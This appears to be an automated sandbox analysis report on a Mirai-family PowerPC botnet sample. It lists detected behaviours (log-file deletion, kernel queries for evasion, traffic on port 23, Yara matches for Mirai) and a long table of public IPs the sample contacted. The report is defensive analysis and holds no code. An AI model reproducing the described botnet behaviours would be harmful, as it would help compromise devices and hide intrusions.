Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 6282) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.powerpc.elf (PID: 6283) Log files deleted: /var/log/kern.log Jump to behavior
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 38382
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.powerpc.elf (PID: 6280) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 6280.1.00007ffd70a1c000.00007ffd70a3d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
Source: la.bot.powerpc.elf, 6280.1.0000556487780000.0000556487830000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 6280.1.0000556487780000.0000556487830000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 6280.1.00007ffd70a1c000.00007ffd70a3d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: la.bot.powerpc.elf, type: SAMPLE
Source: Yara match File source: 6280.1.00007f02b8001000.00007f02b8016000.r-x.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: la.bot.powerpc.elf, type: SAMPLE
Source: Yara match File source: 6280.1.00007f02b8001000.00007f02b8016000.r-x.sdmp, type: MEMORY
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
140.205.249.223
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
101.56.17.221
 unknown Italy
210278 SKYIT-BBIT false
116.25.69.9
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
26.191.170.188
 unknown United States
7922 COMCAST-7922US false
82.151.247.105
 unknown United Kingdom
8190 MDNXGB false
200.191.86.131
 unknown Brazil
4230 CLAROSABR false
221.43.108.183
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
78.197.112.252
 unknown France
12322 PROXADFR false
54.195.91.95
 unknown United States
16509 AMAZON-02US false
92.76.80.188
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
202.254.64.180
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
65.138.243.214
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
91.109.52.78
 unknown Italy
31319 ESTRACOM-ASIT false
205.73.21.205
 unknown United States
647 DNIC-ASBLK-00616-00665US false
78.175.184.232
 unknown Turkey
9121 TTNETTR false
92.135.106.135
 unknown France
3215 FranceTelecom-OrangeFR false
30.62.200.168
 unknown United States
7922 COMCAST-7922US false
182.173.87.15
 unknown Korea Republic of
38705 DACOM-AS-KRKOREADATAKR false
33.48.27.156
 unknown United States
2686 ATGS-MMD-ASUS false
95.226.2.252
 unknown Italy
3269 ASN-IBSNAZIT false
184.80.6.91
 unknown United States
7029 WINDSTREAMUS false
157.81.194.129
 unknown unknown
2907 SINET-ASResearchOrganizationofInformationandSystemsN false
22.167.11.170
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
192.134.98.133
 unknown France
2486 NIC-FR-DNS-UNICAST-PARIS2AFNICAssociationFrancaisepour false
112.61.27.64
 unknown China
56040 CMNET-GUANGDONG-APChinaMobilecommunicationscorporation false
201.14.39.250
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
93.84.246.139
 unknown Belarus
6697 BELPAK-ASBELPAKBY false
133.225.93.171
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
96.41.51.111
 unknown United States
20115 CHARTER-20115US false
208.135.120.196
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
90.98.55.30
 unknown France
28708 ORANGEFR-PORTAL-ASDSImutualizedinternetaccessFR false
73.4.215.46
 unknown United States
7922 COMCAST-7922US false
165.186.137.23
 unknown Korea Republic of
4668 LGNET-AS-KRLGCNSKR false
192.126.232.55
 unknown United States
397731 ELITEWORK-01US false
68.129.200.113
 unknown United States
701 UUNETUS false
9.59.21.224
 unknown United States
3356 LEVEL3US false
175.228.72.22
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
151.121.36.144
 unknown United States
4152 USDA-1US false
75.105.215.12
 unknown United States
7155 VIASAT-SP-BACKBONEUS false
193.246.174.77
 unknown Iran (ISLAMIC Republic Of)
48359 HESABGAR-ASIR false
141.250.83.243
 unknown Italy
137 ASGARRConsortiumGARREU false
124.125.94.131
 unknown India
18101 RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC false
192.58.171.238
 unknown United States
397210 VRSN-AC28US false
29.155.104.208
 unknown United States
7922 COMCAST-7922US false
95.202.225.248
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
157.155.80.218
 unknown Australia
17983 COLESMYER-AS-APColesMyerAU false
197.85.31.66
 unknown South Africa
10474 OPTINETZA false
86.63.55.115
 unknown United Kingdom
60426 WIGHTFIBREGB false
159.66.123.72
 unknown United States
30175 EPICORUS false
130.170.59.97
 unknown United States
12173 UAUS false
150.36.74.100
 unknown Japan 9991 SHUDO-UHiroshimaShudoUniversityJP false
133.176.55.105
 unknown Japan 385 AFCONC-BLOCK1-ASUS false
93.59.41.73
 unknown Italy
12874 FASTWEBIT false
115.116.191.68
 unknown India
4755 TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP false
206.168.60.48
 unknown United States
22658 EARTHNETUS false
147.141.231.255
 unknown United States
22644 TJUHUS false
33.16.102.242
 unknown United States
2686 ATGS-MMD-ASUS false
133.69.213.53
 unknown Japan 2523 ITRC-NETJSPS163rdCommitteeonInternetTechnologyJP false
130.173.72.145
 unknown United States
12173 UAUS false
156.221.98.41
 unknown Egypt
8452 TE-ASTE-ASEG false
42.37.186.119
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
87.162.79.7
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
180.83.214.205
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
180.118.57.68
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
38.13.6.121
 unknown United States
174 COGENT-174US false
33.86.51.28
 unknown United States
2686 ATGS-MMD-ASUS false
157.178.115.199
 unknown United States
15337 WRHARPERUS false
22.207.81.225
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
117.65.39.195
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
136.46.83.42
 unknown United States
16591 GOOGLE-FIBERUS false
180.226.90.203
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
118.37.104.165
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
205.255.82.237
 unknown United States
10801 REGIONS-ASN-1US false
69.153.86.28
 unknown United States
7018 ATT-INTERNET4US false
152.173.144.30
 unknown Chile
7418 TELEFONICACHILESACL false
33.179.168.112
 unknown United States
2686 ATGS-MMD-ASUS false
56.227.127.219
 unknown United States
2686 ATGS-MMD-ASUS false
45.192.33.233
 unknown Seychelles
55933 CLOUDIE-AS-APCloudieLimitedHK false
186.34.166.39
 unknown Chile
6535 TelmexServiciosEmpresarialesSACL false
82.177.91.71
 unknown Poland
209073 ZINK-ASPL false
165.176.207.131
 unknown United States
7046 RFC2270-UUNET-CUSTOMERUS false
190.111.104.150
 unknown unknown
270416 ACIVALDANTASANDRADEEIRELIBR false
102.209.40.154
 unknown unknown
36926 CKL1-ASNKE false
79.9.34.186
 unknown Italy
3269 ASN-IBSNAZIT false
50.210.11.58
 unknown United States
7922 COMCAST-7922US false
34.208.219.63
 unknown United States
16509 AMAZON-02US false
54.118.236.92
 unknown United States
16509 AMAZON-02US false
206.254.201.227
 unknown United States
3354 THENET-AS-3354US false
131.178.67.89
 unknown Mexico
6342 InstitutoTecnologicoydeEstudiosSuperioresdeMonterrey false
86.76.211.192
 unknown France
15557 LDCOMNETFR false
123.61.217.215
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
76.205.45.40
 unknown United States
7018 ATT-INTERNET4US false
204.232.0.152
 unknown United States
2828 XO-AS15US false
56.226.39.9
 unknown United States
2686 ATGS-MMD-ASUS false
54.186.117.29
 unknown United States
16509 AMAZON-02US false
57.206.154.65
 unknown Belgium
2686 ATGS-MMD-ASUS false
153.158.210.89
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
115.63.194.143
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
175.128.169.170
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
189.156.251.245
 unknown Mexico
8151 UninetSAdeCVMX false